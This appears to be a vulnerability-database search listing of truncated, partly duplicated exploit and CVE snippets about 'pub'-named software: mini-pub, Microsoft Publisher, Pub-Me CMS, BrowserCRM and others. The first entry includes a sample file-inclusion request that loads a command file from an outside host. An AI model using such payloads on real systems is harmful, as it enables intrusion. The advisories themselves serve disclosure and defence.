mini-pub 0.3 (lfd/ce) Multiple Vulnerabilities

No description provided by source. mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. local file disclosure http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 2. local...

mini-pub 0.3 - Local Directory Traversal / File Disclosure Vulnerabilities

No description provided by source. | | | \ \ \ / / / \ / | / | / | | | | | | \ V / / \ | | | | | | | | | | | / \ | || | | | | | || || \ || // \ | | | mini-pub.php = v0.3 Local Directory Traversal / File Disclosure Vulnerabilities Script : http://mini-pub.sourceforge.net/ I- Local Directory...

CVE-2014-1759

pubconv.dll in Microsoft Publisher 2003 SP3 and 2007 SP3 allows remote attackers to execute arbitrary code or cause a denial of service incorrect pointer dereference and application crash via a crafted .pub file, aka "Arbitrary Pointer Dereference Vulnerability."...

Null pointer dereference

pubconv.dll in Microsoft Publisher 2003 SP3 and 2007 SP3 allows remote attackers to execute arbitrary code or cause a denial of service incorrect pointer dereference and application crash via a crafted .pub file, aka "Arbitrary Pointer Dereference Vulnerability."...

CVE-2014-1759

pubconv.dll in Microsoft Publisher 2003 SP3 and 2007 SP3 allows remote attackers to execute arbitrary code or cause a denial of service incorrect pointer dereference and application crash via a crafted .pub file, aka "Arbitrary Pointer Dereference Vulnerability."...

Oberthur smart cards generate weak certificates

Overview A flaw has been identified in Oberthur ID-One COSMO 64, v5.2 and v5.2a smart cards, which results in public keys that do not satisfy the requirements of the Digital Signature Standard as specified in FIPS PUB 186-3 and its predecessors. Description Oberthur ID-One COSMO 64, v5.2 and v5.2...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in BrowserCRM 5.100.01 and earlier allow remote attackers to inject arbitrary web script or HTML via the PATHINFO to 1 index.php, 2 modules/admin/adminmoduleindex.php, or 3 modules/calendar/customisecalendartimes.php; login parameter to 4 index.ph...

CVE-2011-5214

CVE-2011-5214 concerns multiple cross-site scripting (XSS) vulnerabilities in BrowserCRM, affecting version 5.100.01 and earlier. The issue allows remote attackers to inject arbitrary script or HTML via: (1) PATH_INFO to index.php, (2) modules/admin/admin_module_index.php, (3) modules/calendar/cu...

Microsoft Publisher memory corruption

Memory corruption on .pub files parsing...

VUPEN Security Research - Microsoft Office Publisher Memory Corruption Vulnerability (VUPEN-SR-2010-041)

VUPEN Security Research - Microsoft Office Publisher Memory Corruption Vulnerability VUPEN-SR-2010-041 http://www.vupen.com/english/research.php I. BACKGROUND --------------------- "Microsoft Publisher, is a desktop publishing application from Microsoft. It is an entry-level application, differin...

Pub-Me CMS Blind SQL Injection Vulnerability

Exploit for php platform in category web applications ============================================ Pub-Me CMS Blind SQL Injection Vulnerability ============================================ Pub-Me CMS Blind SQL Injection Vulnerability Name: Pub-Me CMS Vendor: http://www.pub-me.com/ Versions...

Pub-Me CMS - Blind SQL Injection

Pub-Me CMS - Blind SQL Injection | | | | |.' | | | | | ||| |||| Pub-Me CMS Blind SQL Injection Vulnerability Name: Pub-Me CMS Vendor: http://www.pub-me.com/ Versions Affected: //unknown, all current affected - devel. homepage & 33 clients web pages Software Link: Not aviable, Demo can be requeste...

Pub-Me CMS Blind SQL Injection

| | | | |.' | | | | | ||| |||| Pub-Me CMS Blind SQL Injection Vulnerability Name: Pub-Me CMS Vendor: http://www.pub-me.com/ Versions Affected: //unknown, all current affected - devel. homepage & 33 clients web pages Software Link: Not aviable, Demo can be requested by e-mail from vendor Found by:...

Pub-Me CMS - Blind SQL Injection

| | | | |.' | | | | | ||| |||| Pub-Me CMS Blind SQL Injection Vulnerability Name: Pub-Me CMS Vendor: http://www.pub-me.com/ Versions Affected: //unknown, all current affected - devel. homepage & 33 clients web pages Software Link: Not aviable, Demo can be requested by e-mail from vendor Found by:...

Microsoft Publisher Object Handler Validation Code Execution (MS08-027; CVE-2008-0119)

Microsoft Publisher is an application that allows users to design, layout, and format documents destined to be published in print, on the web, and various other formats. Microsoft Publisher is released as part of Microsoft Office as well as stand-alone application. Microsoft Publisher saves...

Microsoft Publisher PUB File Processing Memory Corruption (MS06-054; CVE-2006-0001)

There exists a stack overflow vulnerability in the Microsoft Publisher product. The flaw is triggered when a malicious PUB file is parsed by the affected component. A successful attack targeting this vulnerability may lead to the execution of arbitrary code. In an attack case where code injection...

Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit to the exploit-vulnerability warning-the black bar safety net

From su bun's blog Very early on saw through this vulnerability, but since Y is a bruteforce, just don't be too concerned about yesterday and a friend chat to this vulnerability, look carefully at the next, hazard is still quite large, although the need for certain conditions before they can be...

CVE-2008-6794

SQL injection vulnerability in directory.php in Scripts For Sites SFS EZ Pub Site allows remote attackers to execute arbitrary SQL commands via the cat parameter...

Sql injection

SQL injection vulnerability in directory.php in Scripts For Sites SFS EZ Pub Site allows remote attackers to execute arbitrary SQL commands via the cat parameter...

CVE-2008-6794

CVE-2008-6794 refers to a SQL injection vulnerability in the file directory.php of Scripts For Sites (SFS) EZ Pub Site. The vulnerability allows an attacker to execute arbitrary SQL commands through the cat parameter, enabling remote access to the database according to the NVD description. Relate...